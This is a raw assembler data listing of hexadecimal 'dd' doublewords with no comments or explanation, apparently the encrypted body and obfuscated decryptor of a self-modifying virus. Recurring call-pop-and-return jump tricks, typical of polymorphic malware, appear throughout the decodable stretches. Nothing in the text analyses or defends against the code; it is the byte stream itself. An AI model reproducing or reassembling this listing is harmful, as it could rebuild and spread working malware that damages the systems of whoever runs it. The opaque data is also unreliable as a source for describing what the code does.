0F10887FAh dd 903EC822h, 6EF578FAh, 3EC8226Fh, 0FE48402h, 4BA03FDEh dd 2D02892Ch, 21FA9E45h, 0C822D922h, 0ADC4723Eh, 16554F28h dd 855AFD7Bh, 0B9CBB96Ah, 0E0C9263Bh, 0A1420754h, 33B573BFh dd 0CEEFDA9Ah, 0A3CC5120h, 18AD6100h, 9BA52AB1h, 5CC4F5DBh dd 5D9867EEh, 42011ABEh, 0C72D1FBFh, 0DD0EE568h, 23A0A542h dd 0C72D1FDAh, 2DD14FB5h, 0CA026C03h, 8CFC6A13h, 25h, 59966DF6h dd 99DA19B6h, 67E961FEh, 944532C7h, 3E9E300Ah, 19B6343Fh dd 0C80AD32Ah, 0AFC26C3Eh, 7AA4D2Ah, 39DC1B3Fh, 0E6E37A9Ch dd 0E20DE25Fh, 4A4A63Fh, 0EBB34F3Fh, 0DE65E0C4h, 0C717CF1Fh dd 0B356D472h, 4CCFFA3Fh, 0CFB34AC9h, 38CEC717h, 0FB496DACh dd 55F9897Bh, 3EC94FD2h, 0EF91A625h, 541AE360h, 0F75C717h dd 5E68ED91h, 213D2A77h, 4B27254Ch, 0C13F0BA4h, 0BA42624h dd 0C7BA538h, 9DB452CDh, 48B7BD33h, 569BF6h, 0A72A0000h dd 0C77D128h, 761AB0CDh, 1FA43EB0h, 7D36179Ch, 0CDA23EC8h dd 29C4A7A5h, 9C3C0EA7h, 15A32AA0h, 482DBD45h, 0F49E2E25h dd 802DC75h, 0D451D474h, 0B34CF3FFh, 0B7D10B97h, 40FDCAD5h dd 882F4BA0h, 9D442E05h, 78409916h, 0A91F3EC8h, 19B82605h dd 12000000h, 9C1FA43Eh, 0C87D3217h, 9C1FA53Eh, 8104ABC7h dd 8B24C3B2h, 3A001FBFh, 16902h, 966D5800h, 2D1DBA55h dd 823D9789h, 73EE57F8h, 0C87DEDECh, 0A94C2B3Eh, 0C0199629h dd 9F3EC87Dh, 4107A729h, 16E2DC1Bh, 0F270DA73h, 6D095168h dd 7D926BE8h, 57ED3EC8h, 8E173DB7h, 31410584h, 0C4000000h dd 6F330938h, 21C5D9AFh, 1DA23E1Bh, 17E66D93h, 6A3EC87Dh dd 570DD1CEh, 74F67B80h, 1BE56DEEh, 0FCB238DFh, 5C966D56h dd 38A311B5h, 1D000000h, 0B958966Dh, 988A2E1Ch, 4A4753Ch dd 551FE1CCh, 0E66D4DD3h, 3EC87D17h, 0F599D51Ah, 0C87D6F6Eh dd 684023Eh, 0E56DFE84h, 0B538DF1Bh, 0D0032827h, 0CE7285CCh dd 1B56FC88h, 6DAF39DCh, 7D926BE8h, 49ED3EC8h, 6786DB1Eh dd 39DD5B8Fh, 0A63E62E0h, 9519721h, 848DCE36h, 32A805h dd 3E1A0000h, 8AFCAA6h, 0E66D008Ah, 3EC87D17h, 8A59DC6Ah dd 2026CA6Dh, 0DB1BE86Dh, 7A7A33Ch, 3CDB1B41h, 5B966DB6h dd 8F2F1BB4h, 4202B55Bh, 58000000h, 9721A63Eh, 0E66DE86Dh dd 3EC87D17h, 0AA43E611h, 2A624A0h, 0C87DBC3Dh, 0FB85833Eh dd 0DB1BE56Dh, 0DF6DB63Ch, 952530C1h, 38DB1483h, 892DAB9Fh dd 312EBA55h, 0DE816EFDh, 0C751334Eh dd 0C26601F2h, 0E4DA1B7Ch, 7CCE670Eh, 18E261FEh, 513EC87Dh dd 0E6078CE3h, 921C2B39h, 0CF31C168h, 0A023A5A5h, 6404A3D3h dd 0E86D7DC5h, 0C87D926Bh, 0B757ED3Eh, 1BB45322h, 61FE9DD8h dd 0A0252CFAh, 0FAE528D5h, 21BBA38Bh, 118F2E48h, 0F262E96Eh dd 41FB3EC8h, 285310Ch, 0FFFE654Eh, 0B53AB7FFh, 3EC80E24h dd 2329CD3Bh, 0C87D966Bh, 7D9DE03Eh, 13EB3EC8h, 63C13782h dd 0C137829Eh, 11E867EAh, 69C13782h, 378213EAh, 5CD86EC1h dd 4B30E5E0h, 0D5538DE1h, 0DBE9EC31h, 6277C137h, 0BF8137DBh dd 0F7CC4F7Ah, 75B858F7h, 9CB99EEh, 3F2E05FBh, 0A34307A0h dd 928421A7h, 78F77E4Bh, 0FD14E782h, 0C5149B16h, 9C0D0EF1h dd 38CE8A2Eh, 0C217EF68h, 8654D983h, 2FEh, 0EB14C28h, 0BB5EFDF9h dd 8A74E24h, 0C26500F3h, 0FA9D442Dh, 658C4557h, 0ACC41BBEh dd 64916609h, 0A2CD22C5h, 0E76E60FFh, 0E82B9168h, 43FFF038h dd 15E2DC1Bh, 9C75D572h, 0B9912ED5h, 10DFB437h, 0D67AD06Dh dd 68D083Dh, 3EC87DF7h, 7F19197Ah, 900CBB8Ah, 1DA456FAh dd 0A6AA29ACh, 32C4EB76h, 4FEF925Dh, 4FD27513h, 0A8C4DD2h dd 65E3C728h, 0A797CC1h, 83DAC728h, 0D95602EFh, 0C7280A00h dd 0DB67E95Fh, 0A4FD2999h, 0D558DAEDh, 0BB9C64Eh, 0A82B993Dh dd 56F99CDBh, 0B13C45D3h, 94B746CDh, 3CCACD77h, 0A5B8D1B0h dd 6003EC01h, 0E817CC7h, 5BE2CD77h, 7C68E76Eh, 33754C0h dd 69F422Eh, 0C23FC644h, 5758BC3Dh, 9135D3D3h, 13B6C18Eh dd 0ED905F74h, 457FC650h, 57583FBEh, 9CA652D3h, 397964CBh dd 0DEF7BFDh, 0C0EC6105h, 0DE65E86Ah, 29744AEEh, 0AC6A0381h dd 6231B415h, 0F357F097h, 0D055D053h, 0B7D78A53h, 0C45F8CD9h dd 191EC248h, 23941985h, 9A69EC5Ah, 77EAC5Dh, 7C6D6CF3h dd 8604DF97h, 4D0459F6h, 98D72CCBh, 6EF36EF5h, 9742E8F1h dd 780187DFh, 0DF974261h, 0A2453300h, 23C34505h, 78A4390Ah dd 4085DF97h, 25A34632h, 962D219Eh, 44C225B4h, 0F3D66BABh dd 7A35F370h, 20A61FCAh, 273C9150h, 24B67765h, 18Eh, 7E21BCB8h dd 4BEE8D69h, 7817BEB4h, 52F59063h, 2ACD747Dh, 353C9547h dd 0DC14EB8Eh, 34419639h, 12DDF295h, 771ED06Fh, 0E825E1F8h dd 13AF8038h, 0DB1BE86Dh, 22A7A33Ch, 3EC87DDBh, 7DA930AFh dd 42C83EC8h, 72A444C2h, 0D857DEEBh, 0C4EBB3F4h, 0D640DD6Bh dd 2EB33A8Fh, 17CF28B1h, 55437C7h, 1CBA6ABCh, 9C381CA0h dd 0FDC479A0h, 0DB58DB7Bh, 3D2A33F9h, 4714E462h, 1143C0C1h dd 10C5E7Ch, 36360000h, 7E7FC9Bh, 4832C968h, 0AE9FEA1h dd 3E3BD06Fh, 4F55F897h, 31D07782h, 5CFB9EDAh, 28C76687h dd 5E01A4D3h, 936AE96Ch, 0EE38E825h, 0A73E45FDh, 8907AECBh dd 0B3917D02h, 0A026C4EBh, 6003EC07h, 46E906DDh, 1EFDA1A9h dd 720BAEC9h, 76814ED3h, 8B103AD3h, 0C717CF72h, 25D7770Dh dd 0CDA229A0h, 0DD6000A3h, 3401CE56h, 54F3913Dh, 31D06F7Fh dd 56F9A0DAh, 4DC97281h, 9861DE16h, 0F7CD775Bh, 8C0A0191h dd 1FA14831h, 18971AA1h, 0CD77D1C1h, 0A7862AA0h, 0DF822950h dd 0B86D855Ah, 0ADEA43Ah, 6E12902Eh, 16B96099h, 0CBA8513h dd 39AEBDC2h, 95384095h, 7110DDF2h, 8D3E39CEh, 0DAFEAD66h dd 7F22A09Dh, 59969068h, 6BED905Fh, 73FA78D2h, 8D31D49Ch dd 0E4E57CAEh, 5758E461h, 0A632B993h, 1DBA6199h, 460BAB2Dh dd 375421FEh, 7881FE81h, 17D35739h, 5D962FB1h, 0A250EF92h dd 0Ah, 0F0BF86F8h, 7BCF6803h, 0D91B55DBh, 2552A13Eh, 0DF0EE582h dd 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h dd 0E610E37Ch, 6824AE47h, 4161h, 68241C89h, 7334h, 57241489h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 56552434h, 791851BEh dd 11F68153h, 0C1072453h, 0D6F707E6h, 0EE44C681h, 0F58934C5h dd 5DEA895Eh, 4EC81h, 24890000h, 24048124h, 4, 2C81525Eh dd 2F396B24h, 8468F46h, 6B084681h, 0FF462F39h, 815E2434h dd 4C4h, 24148B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 0FB238BE9h, 48A6BEFFh, 205A16B8h, 8BC50306h, 738D8DC3h dd 6A06205Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 6FCAC350h, 800FC5F3h, 2, 8D8906B0h dd 61B2429h, 2D19BD89h, 0BE9061Bh, 21000000h, 0E992D9C4h dd 21DD32CEh, 85C70FA1h, 61B0765h, 611Ch, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 33C35141h, 0C973E9A1h dd 0DE98AB8h, 46000000h, 4C40120Fh, 794730E9h, 0F7E8FA66h dd 13D185C7h, 61Bh, 0B5FF0000h, 61B18DDh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 2DC35040h, 9D8B1B11h dd 61B0A61h, 2F8595FFh, 8B66061Bh, 0FF006AD8h, 1B220595h dd 0EBC08B06h, 170AFB7Dh, 390ADD25h, 0E52BE12Ah, 86E82363h dd 7C2D4B36h, 0E0055411h, 0F6997C7h, 0B7F887Fh, 721E65FFh dd 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 0A6979ED2h, 0CDA58DC7h dd 5DC7F6A4h, 6B661813h, 0BCEA3CA9h, 8C14ABECh, 3B15C384h dd 0A0680680h, 9CB46D18h, 444528A2h, 59268F03h, 36A2EAE2h dd 0BEC6C8CFh, 0E8408E2Fh, 0B7CB113Dh, 160879C1h, 90CAF4DAh dd 0A47804D5h, 5D76E8F3h, 0FE8F44Ch, 78000000h, 2FAA6E4Ah dd 0BCF3387Ah, 8AF10547h, 46B2BAF4h, 0C3816658h, 0C0814678h dd 6E65h, 33DE8B66h, 7E9FFh, 0FECA0000h, 3631B322h, 734FFDCh dd 8A5917B6h, 6EF181D1h, 89279C00h, 1B1D098Dh, 1DC18106h dd 0E91C89DEh, 0Dh, 0C54B2E35h, 0FB92A377h, 0C28CAACDh dd 9BF1812Bh, 0E9326BEBh, 6, 2AE897C0h, 0C8976CAh, 0D3816638h dd 9D89784Dh, 61B2D51h, 0FC04EF83h, 9240FF81h, 850FFFFFh dd 0Ah, 1BE9h, 94F67300h, 8589BFFBh, 61B1D31h, 0FFFF90E9h dd 35B0E5FFh, 0CA5FDCE6h, 0E7CE8469h, 141E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0E710B528h, 8D41065Bh, 205D0DB5h, 30B86006h, 8A262197h dd 858D61F4h, 61E40F4h, 0CF8B6660h, 0F2EFDEB8h, 0D0FF6137h dd 10E9h, 29611A00h, 0E5EFF549h, 0A5B75FFFh, 988F15EFh dd 7E9C354h, 0EA000000h, 0E9D4E3D2h, 8C6650C8h, 57006AD9h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0F60F8F2h, 588h, 0C0816600h, 0E8608A93h, 6, 8580D0BEh dd 0F5BEBB5h, 84h, 0F6616100h, 840F04C1h, 6Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E7C35646h, 0F9417674h dd 0E954A8B9h, 7, 4AE2F908h, 60D1D2E0h, 614FC180h, 0CB8BFB8Bh dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6AF8CF00h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 9627C351h, 85C7849Dh, 6205DA3h, 1013Fh, 0FE8h, 0F41CA700h dd 2FC4FFA4h, 195556B4h, 3B7D8BDEh, 0C277B9BAh, 800F5834h dd 5, 887A60BBh, 39C08158h dd 0E900005Bh, 9, 516B8E68h, 0E5CDCCF2h, 1EF7B995h, 0C1812B07h dd 0D4F8F796h, 30FFD18Ah, 5FD6BF0Fh, 81F78B66h, 0DF822DF7h dd 0BE85Eh, 5C0C0000h, 2BBDA0F3h, 46113E31h, 0F28B66B6h dd 9DF7815Bh, 8165E73Dh, 0A0D929F7h, 10E861h, 62420000h dd 0A2CADEB6h, 0D5C1FB56h, 0B4DF687Bh, 8D0F5A86h, 0 dd 8138895Ah, 0A6D621D3h, 0FE88106h, 0E806D706h, 0Eh, 0B326999Bh dd 595BC075h, 12A8F78Dh, 6E9A713h, 0FE000000h, 41CA276Fh dd 0C0815AC5h, 6D7060Bh, 1E981F9h, 0F000000h, 2785h, 0CE900h dd 496D0000h, 0EE33BF11h, 5E87B0A7h, 27E9A61Bh, 29000000h dd 1E0E834Eh, 59E50A5h, 302644D2h, 35119F5Ah, 0E950C680h dd 0FFFFFF46h, 5C92AA93h, 0F2B8E199h, 0E64707EDh, 8D8DA45Eh dd 6205FC3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0E7C35545h, 375BE66Ah, 0EE880h, 668B0000h, 4F82D914h dd 31709236h, 17CD1675h, 5AF9B70Fh, 24298D89h, 0B531061Bh dd 61B1785h, 0C7D2B70Fh, 1B076585h, 586006h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0D185C7E9h, 61B13h, 23000000h, 1B2AAD95h, 0A5B5FF06h dd 0FF061B03h, 1B2F8595h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 36A995CEh dd 64683A44h, 0FD9D8908h, 0B0061B32h, 0FF006A92h, 1B220595h dd 0EBC08B06h, 3F4EED2Ch, 84A02498h, 6437EF17h, 0B12CFC39h dd 555DA92Ah, 4383995Eh, 54D275D5h, 66DEBA0Ch, 757BA001h dd 1FF75A98h, 40F37CC7h, 0BE11CC27h, 0D2480DE9h, 27AC63A5h dd 337321F1h, 4F374205h, 9E72F879h, 0DD87D7FFh, 0A3877082h dd 0E8261F30h, 9C7A7747h, 4B8A4A23h, 9F31FF2Ch, 9E58F73Fh dd 9E5D3930h, 9E347465h, 0C3174E30h, 0F2BE7AF3h, 0DAB69714h dd 9E2ECD14h, 0CB72E430h, 0ABDCB6F3h, 24ABA61Fh, 0BD8D25E5h dd 77C6F93Fh, 9E37245Ch, 7662935Ah, 9E37C933h, 0C3F4B910h dd 9A131EB9h, 9A137DB1h, 9E379C2Dh, 3CF41B75h, 2976AB0Fh dd 883D8BD7h, 9E2320C4h, 0A9B0E430h, 0B07B5D3Ch, 0C0F1514Ch dd 2C759734h, 0D7D5D087h, 21387F08h, 3B8A10CEh, 9E31D22Eh dd 9E1A603Fh, 95DE7230h, 7F373930h, 0D63ABEFh, 346E90C7h dd 47B64A60h, 0DBB43849h, 9E34CAD9h, 9E3A0D30h, 3C367230h dd 2E16D32Bh, 71C82901h, 13F725FFh, 0BE5733B5h, 91D91336h dd 0A189AF60h, 0BA336D36h, 0ACDDF356h, 68B2B4E2h, 0F431BC6Fh dd 9DDF1D30h, 0BE372730h, 176C506Bh, 1F33ED6Ch, 8333C074h dd 0DD377230h, 79F7FA63h, 2CB0C8BBh, 0CE1D20FAh, 9167F4BBh dd 9E3799B6h, 9E322030h, 0A2E9E430h, 0C0B69DE1h, 0CC6769A0h dd 1551AD3Fh, 0E6F14C2h, 9342B2CFh, 0D989952Bh, 156E75E8h dd 4F8A67F0h, 9E316913h, 23B43045h, 982CAD19h, 0CE2E3A30h dd 26F7AC63h, 9E37974Ah, 0B3964CB9h, 3BAE22Bh, 982AD47Dh dd 0C66CEACFh, 0AF1E21B3h, 0EA37482Bh, 26647727h, 9E37974Ah dd 0B3964CB9h, 3BAE22Bh, 982AD10Ch, 0C66CEACFh, 76619C5Ah dd 9E374E33h, 0C0F47910h, 9A13E7B9h, 9A138DB1h, 9E37E427h dd 0FDF42476h, 77AEEDA3h, 9E379C3Dh, 0B3D0FCA2h, 0E0981090h dd 12A3F24Fh, 79B6AF34h, 96DE1FD2h, 6B377230h, 0CCF9F011h dd 156D6761h, 0DF8D2EF0h, 77753315h, 9E379337h, 0A5D8462h dd 0FF7990CFh, 0C1C9EFBDh, 21513F10h, 2751CF93h, 1BBAA48Dh dd 98177BFAh, 4FBCF567h, 95E7366Fh, 0E6B3EBF0h, 0F4377230h dd 9DDF6A30h, 0BE379C30h, 176C8D6Bh, 1F33036Ch, 8633B774h dd 0DD37C930h, 150C2763h, 0C978FB68h, 3BA63C9h, 982CD0E3h dd 9E67F456h, 9E372488h, 9AB69C30h, 0F837C930h, 61D6988Eh dd 0CB3718D3h, 9E373AD8h, 5D6ABC30h, 0BA5BC76Dh, 0BA73A634h dd 9E378934h, 5D628C30h, 86836DAFh, 77379361h, 9E37393Ch dd 0D3D41D69h, 6E079261h, 0BAEC0181h, 0B1CA2960h, 136984D8h dd 0BE57E2ADh, 59E6C836h, 1BBA2F05h, 9817C0FAh, 76644E5Ah dd 9E372733h, 0C5F4C810h, 9A1395B9h, 9A13A0B1h, 9E377227h dd 0FBF46A73h, 66B92386h, 4EC8BABAh, 9E3BA13Fh, 99DE9330h dd 2937C930h, 0D385D4FEh, 5E3CD37Ah, 9E0DBD3Fh, 3BA9C30h dd 982C02E3h, 9E37A73Fh, 9F8F9330h, 0FE37C930h, 0A1FE6556h dd 9CB17D8Fh, 0CE373930h, 7DC8FD6Ah, 9E375DD9h, 26DF3230h dd 1A0CE93h, 458130C4h, 3F399824h, 70ADF30Eh, 0FE3CA4BDh dd 21519A10h, 1BBA4B5Fh, 98177BFAh, 0EBC61256h, 77E73661h dd 9E37E43Ch, 0B238F24Ah, 0D54EFBEAh, 1891F8BEh, 1A388E3Bh dd 9E3727BCh, 9E191A3Fh, 90DFC930h, 0CD37E430h, 63082BBDh dd 0B50C8F29h, 0F4A6E4F7h, 9E23A650h, 0E2992730h, 0B1120AD8h dd 6B5E347Fh, 8FE3AF3Fh, 2E611BACh, 0C06E58ECh, 0D2E401BDh dd 7766482Bh, 9E372720h, 7C405DA4h, 0E7FD06D8h, 94195633h dd 0A3B3E49Ch, 9E3AD06Ah, 6B0C9C30h, 7763CB19h, 0D8052678h dd 26086D21h, 9E37C933h, 9E5D07CFh, 9E349A62h, 0C4173930h dd 0CABEC6F3h, 0DAB64A14h, 9E2E2314h, 0CC759330h, 1F7081F3h dd 66E887F1h, 13C6F973h, 0BE68CD8Dh, 7CBA1136h, 26316E53h dd 147C7B4Dh, 89BE1603h, 511CCF2Bh, 0E2AD13F1h, 0C836BE57h dd 2F0559E6h, 0C0FA1BBAh, 4E5A9817h, 27337664h, 83109E37h dd 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0F28714C3h, 0A6BEED52h, 60399825h dd 0C9BA66FCh, 8C0F61EDh, 0 dd 12E9h, 65C12B00h, 0A93A67E0h, 0FA3FE0CDh, 0A0DF3467h dd 8B390CE9h, 8BCE8BC3h, 0EE8C0h, 25A70000h, 769B30EDh dd 0A0F4883Eh, 5E0DE1B4h, 0D1BD835Eh, 61B23h, 0BD830975h dd 61B3129h, 50197400h, 0B8C08B53h, 47Ah, 21318589h, 9D8D061Bh dd 61DA6B4h, 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h dd 47Ah, 21318589h, 9D8D061Bh, 61DA355h, 585BD3FFh, 0BC39B966h dd 3CE9C08Bh, 1, 4Eh dup(0) dd 83000000h, 1B08BDBDh, 840F0106h, 46Fh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 5AC35646h, 0DA047F3Bh dd 85C6F5F8h, 61B239Dh, 6E943h, 1D4A0000h, 0A7CA855Fh dd 80DB0168h, 2FB4608Eh, 840F60h, 8B000000h, 816161C3h dd 0BF42434h, 66606225h, 8BF65FB8h, 0B5FF61C7h, 61B2F11h dd 46858DFCh, 0F061E70h, 187h, 0D0FFF500h, 1820Fh, 89F90000h dd 1B214585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 4A517371h, 60815DBDh, 0EE8h, 0C9A8B400h dd 781F0257h, 83FDD9B9h, 60AB40C7h, 0F9615861h, 239D85C6h dd 0E950061Bh, 13h, 52650B1Dh, 0B2C1CEB6h, 0EC4FB834h dd 0A98C07CCh, 0E8950FDFh, 4, 0A8ADAD56h, 9E9h, 0DAB56A00h dd 74B97DD1h, 0F50A6D0h, 68Eh, 5E566000h, 8B616160h, 60042444h dd 8B66D78Bh, 8B61C6h, 0E8D78B60h, 7, 6467AAD6h, 8B0BB629h dd 896159D0h, 50042444h, 50525052h, 5A310F52h, 50310F58h dd 5A310F52h, 0F585A58h, 2840F31h, 60000000h, 58585A61h dd 0B5FF6160h, 61B2F11h, 1860FF9h, 0F5000000h, 7046858Dh dd 0FC60061Eh, 0FF61D88Bh, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0C870B353h dd 5374B201h, 8D0F09FEh, 8, 41B86660h, 61F18B58h, 237D8589h dd 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 756AF4C3h, 9BBE9AF1h, 68FCE334h, 0F69EBE9Eh dd 8800Fh, 850F0000h, 2, 34816160h, 1116B124h, 6660FC06h dd 0E7F6F081h, 10E9h, 900B0200h, 0F21EE52Ch, 5E8F2BC3h dd 0A6761313h, 0B5FF6130h, 61B2F11h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 31C35040h, 2B1CCC13h, 4C36A1D6h dd 7046858Dh, 0FFF9061Eh, 8589F5D0h, 61B1959h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 15C35747h, 239D85C6h dd 0F50061Bh, 0F81h, 0AE900h, 2D9C0000h, 6070FB77h, 4A72CCE9h dd 7FFD9468h, 5E951h, 0C70D0000h, 8113607Ah, 0DEC22404h dd 0FFFC461Ch, 1B2BF9B5h, 1850F06h, 0FC000000h, 391F858Dh dd 6060061Bh, 0DEC68166h, 0EABF615Dh, 6157F7ECh, 430BBA60h dd 0DB803733h, 0D0FF61FBh, 12E9h, 944B4F00h, 290A6DBEh dd 164BFACh, 0EBB6C36h, 8997AA26h, 1B32B585h, 0BF0F6006h dd 2800FFAh, 0B7000000h, 9CE96106h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0B9FCC350h, 0AA065255h, 0BE9F7h, 0A2620000h, 68FD1C3Eh dd 0A21A5201h, 7810F86h, 0F000000h, 18Ah, 6050FC00h, 8BCF8B66h dd 2C8961DEh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 15C9267Fh, 666035F9h, 0DE81FE8Bh dd 112E9627h, 6AEC8B61h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 9A83C357h, 0FCC48378h dd 138A0Fh, 0EE90000h, 62000000h, 727DE0DBh, 452EC731h dd 31E6C08Ah, 6A6013h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0DAEDEC3h, 8E0F4E55h, 1, 0E8FCh dd 815A0000h, 2069B5EAh, 0FC45C706h, 0 dd 8BDBA83h, 0F01061Bh, 9884h, 6A5200h, 92FF0F6Ah, 61B2145h dd 0BA82895Ah, 8D062064h, 2064BE9Ah, 3C75206h, 128h, 92FF5053h dd 61B237Dh, 9A8D525Ah, 62064BEh, 0BAB2FF53h, 0FF062064h dd 1B32B592h, 0C00B5A06h, 9A8D5074h, 62064BEh, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 19BA8D0Ch, 8B061B04h, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 1B041982h, 92FF5006h, 61B1959h, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 8BFCF900h, 6C8D8DD2h, 6A06206Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 4C26C356h dd 14E997h, 56B40000h, 8BDE1955h, 9F683B7Dh, 0DA71975Fh dd 66527555h, 5353E7CDh, 6D27BA66h, 0B8665E5Fh, 8D89085Bh dd 61B2429h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 67C35343h, 7800D638h, 5E9EEB0h, 72000000h, 968800C6h dd 76585C7h, 58D4061Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 37BFE5C3h, 0C7370B3Bh dd 1B13D185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 958BF778h, 61B182Dh, 981B5FFh dd 8E0F061Bh, 6, 13E1958Bh, 95FF061Bh, 61B2F85h, 1A5950Bh dd 6A061Bh, 220595FFh, 0C08B061Bh, 0C9630AEBh, 15D9E148h dd 9F3B3AC9h, 266E9h, 8C666000h, 4C1F6D9h, 35840Fh, 16A0000h dd 2BF9B5FFh, 858D061Bh, 61E7046h, 8589D0FFh, 61B1865h dd 0EFC1FE8Bh, 680Ch, 6A2006h, 6857026Ah, 1000Dh, 186595FFh dd 32E9061Bh, 0C6000000h, 1B239D85h, 0DF685606h, 0FFA9C530h dd 1B2F11B5h, 46858D06h, 0FF061E70h, 898589D0h, 8D061B22h dd 1B1BA585h, 406A5006h, 0FF56056Ah, 1B228995h, 0C36106h dd 2 dup(0) dd 52000000h, 8B60D48Bh, 85890842h, 6206BFEh, 890C428Bh dd 206BF685h, 10428B06h, 6BFA8589h, 0B58D0620h, 6206C34h dd 7E35858Dh, 0D0FF005Bh, 0CC25A61h, 0FEB58B00h, 8B06206Bh dd 206BF685h, 0FABD8306h, 6206Bh, 7840Fh, 6890000h, 2E9h dd 0CF068800h, 2 dup(0) dd 60D48B52h, 8908428Bh, 206BFE85h, 85B58D06h, 8D06206Ch dd 5B7E3585h, 61D0FF00h, 0FE858B5Ah, 0C206206Bh, 858B0004h dd 6206BFEh, 8589008Bh, 6206BFEh, 0CFh, 0B5896000h, 6206C5Bh dd 6C578589h, 858D0620h, 61B3075h, 8944408Bh, 206C9485h dd 0CAB58D06h, 8D06206Ch, 5B7E3585h, 61D0FF00h, 6C5B858Bh dd 8BC30620h, 206C579Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh dd 6206C57h, 324738Bh, 206C57B5h, 7B8B5606h, 1C738B20h dd 6C57BD03h, 0B5030620h, 6206C57h, 0FFC983FCh, 5B9D8B41h dd 8B06206Ch, 57950317h, 8306206Ch, 28A04C7h, 840FC084h dd 0Fh, 850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 57850386h, 8906206Ch dd 206C5B85h, 8BF08B06h, 81C18BCEh, 206C94BDh, 30000006h dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h dd 3FF8h, 6C94BD8Bh, 0C830620h, 148B0607h, 24C28B07h, 8B813C81h dd 57840FC1h, 81000000h, 206C94BDh, 30000006h, 0D850FC0h dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h dd 2Dh, 6088340h, 8000F7h, 840F0000h, 1Eh, 6C94BD81h, 620h dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h, 8DCF0608h dd 206C0285h, 35858906h, 8D061B31h, 206C9885h, 89858906h dd 8D061B2Eh, 206C5F85h, 4D858906h, 0E8061B02h, 0Eh, 7B08446Ch dd 5F3270DDh, 53DBD340h, 8B8D177h, 5B12CFF3h, 7E960h, 728D0000h dd 9469FAA1h, 59F85734h, 52C38161h, 0F00006Eh, 684h, 82E28100h dd 683C261Fh, 1B62h, 1840F51h, 0FC000000h, 8BF55F5Ah, 58A0F33h dd 0BA000000h, 728C0A82h, 91DFC681h, 81662213h, 81F330C0h dd 7D8BFDF6h, 2810F15h, 8A000000h, 79EE81F3h, 8A12E269h dd 0C68B56E5h, 14E9038Fh, 9000000h, 0BEEC01FAh, 3880ED75h dd 0B6BF6ED9h, 9439751h, 83B3A326h, 0BF0F04EBh, 1EF81D0h dd 0F000000h, 0D85h, 37CA8000h, 21E9h, 0FEA60C00h, 816617E6h dd 0E9AFAAC0h, 0FFFFFF8Bh, 9F3790FCh, 0C47FFB54h, 1E8E65AFh dd 8B7B2E25h, 0C8E96E18h, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 1000000h, 